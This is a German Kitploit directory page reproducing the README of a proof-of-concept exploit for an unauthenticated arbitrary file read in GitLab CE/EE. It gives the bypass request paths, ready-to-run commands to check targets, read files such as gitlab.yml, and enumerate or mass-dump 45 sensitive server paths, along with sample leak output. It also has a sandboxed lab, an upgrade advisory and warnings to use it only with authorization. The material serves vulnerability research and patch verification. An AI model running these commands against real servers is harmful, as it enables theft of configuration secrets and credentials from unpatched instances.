Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-85706-PoC — PoC für CVE-2026-85706: GitLab CE/EE nicht authentifizierter beliebiger lokaler Dateizugriff | Kitploit
Tools/GitHubGitHub/solivaquaant/cve-2026-85706-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationDatenexfiltrationInformationsbeschaffungWebsicherheitPenetrationstests
GitHubsolivaquaant/cve-2026-85706-poc

CVE-2026-85706-PoC

PoC für CVE-2026-85706: GitLab CE/EE nicht authentifizierter beliebiger lokaler Dateizugriff

Repository anzeigen
vor 9h 1mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-85706: GitLab CE/EE unauthentifiziertes beliebiges lokales Dateilesen

CVE-2026-85706 ist ein kritisches Path-Traversal- / Missing-Authentication-Problem in den GitLab CE/EE Repository Commits- und Repository Files-APIs: Ein unauthentifizierter Angreifer kann den Server dazu bringen, beliebige Dateien zu lesen und deren Inhalt über den Fehlerkanal zu erhalten. CVSS 3.1 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).

GitLabs offizieller Titel lautet "Path Traversal issue in repository commits API impacts GitLab CE/EE". Der Fix wurde am 2026-09-10 in 19.3.2 / 19.2.6 / 19.1.8 veröffentlicht.

[!IMPORTANT] Betreiben Sie ein selbstverwaltetes GitLab <= 19.3.1? Aktualisieren Sie auf 19.3.2 / 19.2.6 / 19.1.8.

[!WARNING] Nur autorisierte Nutzung. Führen Sie dieses Tool nur gegen Systeme aus, die Ihnen gehören oder für die Sie ausdrücklich eine Testgenehmigung haben.

Dieses Repository enthält einen unabhängigen Proof of Concept, ein minimales Reproduktions-Lab und eine vollständige technische Analyse:

  • ANALYSIS.md - Ursache, Ausnutzung, Reproduktionsnachweise, Gegenmaßnahmen

Es sind keine Daten enthalten, die von einem Drittsystem erfasst wurden.

Schnellstart

Option A - lokales Lab (am schnellsten, kein GitLab erforderlich)

root@kitploit:~
# terminal 1 - from the repository root
cd lab
python vulnerable_api.py --seed                 # create the sandbox vault
python vulnerable_api.py --port 8080            # vulnerable build (add --patched to compare)

# terminal 2 - from the repository root
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read  --url http://127.0.0.1:8080 --project 1 \
        --file /tmp/cve-2026-85706/canary.txt

Das Lab lauscht nur auf 127.0.0.1 und liest nur innerhalb seiner lab/vault/-Sandbox, sodass es niemals Dateien auf Ihrem echten Rechner berühren kann.

Option B - echtes GitLab CE 19.3.1 (maßgebliche Verifikation)

root@kitploit:~
# from the repository root (`cd lab && docker compose up -d` works too)
docker compose -f lab/docker-compose.yml up -d      # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project <project_id>

Option C - Live-Instanz

root@kitploit:~
# from the repository root
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <public_project>

Fügen Sie --insecure für selbstsignierte Zertifikate hinzu, und bevorzugen Sie die numerische Projekt-ID gegenüber einem kodierten Pfad (--project <id> statt group%2Fproject).

Unterbefehle

BefehlZweckWichtige Optionen
checkIst das Ziel verwundbar? Vergleicht die Antworten aller Bypass-Vektoren--canary-path, --no-bypass-probe
readLiest eine Datei und meldet, ob deren Inhalt preisgegeben wird--file <path>, --media <type>
enumTestet eine Liste von Pfaden und klassifiziert jeden einzelnen--wordlist, --wordlist-file
dumpSpeichert jede lesbare Datei auf der Festplatte, mit einem Manifest und den Rohantworten--files, --files-file, --outdir

Vektoren

Die von check ausgegebenen Bezeichnungen:

BezeichnungAnforderungspfad
commits-trailing-slashPOST /api/v4/projects/<id>/repository/commits/
commits-json-suffixPOST /api/v4/projects/<id>/repository/commits.json
commits-canonicalPOST /api/v4/projects/<id>/repository/commits (Workhorse-buffered, control case)
files-trailing-slashPOST /api/v4/projects/<id>/repository/files/<name>/
files-canonicalPOST /api/v4/projects/<id>/repository/files/<name>

check - ist das Ziel verwundbar?

root@kitploit:~
$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <id> --insecure
form   commits-trailing-slash   HTTP 400  VULNERABLE:existence-oracle
form   commits-json-suffix      HTTP 400  VULNERABLE:existence-oracle
form   commits-canonical        HTTP 401  NOT-VULNERABLE(auth required)
[json and query variants behave identically]

[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
    commits-trailing-slash  without 'file'  HTTP 400  {"error":"file is missing"}
    files-trailing-slash    without 'file'  HTTP 400  {"error":"file is missing"}
    commits-trailing-slash  with    'file=' HTTP 400  VULNERABLE:existence-oracle

[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
    -> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.

Exit-Codes: 0 = verwundbar; 1 = mit den getesteten Vektoren nicht ausnutzbar (gepatcht oder die Route nicht erreichbar).

Zwei Details, die man kennen sollte:

  • Der Block Workhorse bypass probe ist der Routing-Beweis: file existiert nur, wenn Workhorse den Body gepuffert und signiert hat, sodass ein 400 {"error":"file is missing"} beweist, dass die Bypass-Route diese Pipeline übersprungen hat, während sie dennoch die API erreichte. Bei einem gepatchten Build lautet diese letzte Zeile HTTP 401.
  • Der kanonische Pfad (commits-canonical -> 401) ist der Kontrollfall: Dort schreibt Workhorse file.path um, sodass der Wert des Angreifers niemals den verwundbaren Code erreicht.

read - eine einzelne Datei lesen

root@kitploit:~
$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project <id> --insecure \
        --file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form   commits-trailing-slash   HTTP 400  LEAK!    content disclosed via the Rack parser error
form   commits-canonical        HTTP 401  EXISTS,  parsed without error -> authentication required

Exit-Codes: 0 = Inhalt preisgegeben oder ein Vorauthentifizierungs-Lesezugriff, der durch die Baseline bestätigt wurde; 1 = kein Vorauthentifizierungs-Lesezugriff beobachtet.

enum / dump - Massenabfrage

root@kitploit:~
python poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project <id> --insecure \
        --wordlist-file poc/paths.txt

python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project <id> --insecure \
        --outdir evidence --files-file poc/paths.txt

poc/paths.txt enthält 45 interessante GitLab-/Linux-Pfade; --wordlist / --files können inline oder über eine Datei angegeben werden, und beide Formen können kombiniert werden. Dies sind die einzigen beiden Unterbefehle, die echte Dateiinhalte berühren - schreiben Sie die Ausgabe außerhalb dieses Repositories und veröffentlichen Sie niemals, was sie erfassen.

Globale Optionen

OptionBedeutung
--url <base URL>Ziel-Basis-URL (erforderlich)
--project <id or encoded path>Öffentliche Projekt-ID (123) oder URL-kodierter Pfad (group%2Fproject), erforderlich
--token <PRIVATE-TOKEN>Optional; testet den authentifizierten Pfad
--insecureTLS-Verifikation überspringen (selbstsignierte Zertifikate)
-v, --verboseJede Anfrage/Antwort nach stderr ausgeben
--canary-path <path>Garantiert fehlender Pfad, der als Verwundbarkeits-Baseline verwendet wird
--color <mode>auto (Standard, Farben auf einem echten Terminal), always, never

Die Reihenfolge der Optionen ist wichtig: Gemeinsame Optionen kommen nach dem Unterbefehl - check --url ... --insecure, nicht --url ... check.

Verifikationsstatus

TestErgebnis
Gepatchte Kontrolle - gitlab.com, 19.3.2+Jeder Vektor gibt 401 zurück; die einzige andere Antwort ist das 400 {"error":"file is missing"}, das den Routing-Bypass beweist
Lokales Lab - lab/vulnerable_api.pyReproduziert den Trust-Bug auf Rails-Seite von Anfang bis Ende; --patched liefert den Vergleichs-Build
Echte selbstverwaltete Instanz - 19.3.1, schriftliche AutorisierungAls verwundbar bestätigt; Host- und Projektdetails werden hier bewusst nicht veröffentlicht. Aggregierte Ergebnisse in ANALYSIS.md, Abschnitt 4.3

Rechtliches

Dieses Material wird für Sicherheitsforschung und autorisierte Tests bereitgestellt - Ihr eigenes Lab, ein Bug-Bounty-Programm oder ein Penetrationstest mit schriftlicher Genehmigung. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie ausdrücklich eine Testgenehmigung haben. Unbefugter Zugriff auf Drittsysteme ist illegal. Bereitgestellt wie besehen, ohne jegliche Gewährleistung.

Tool herunterladen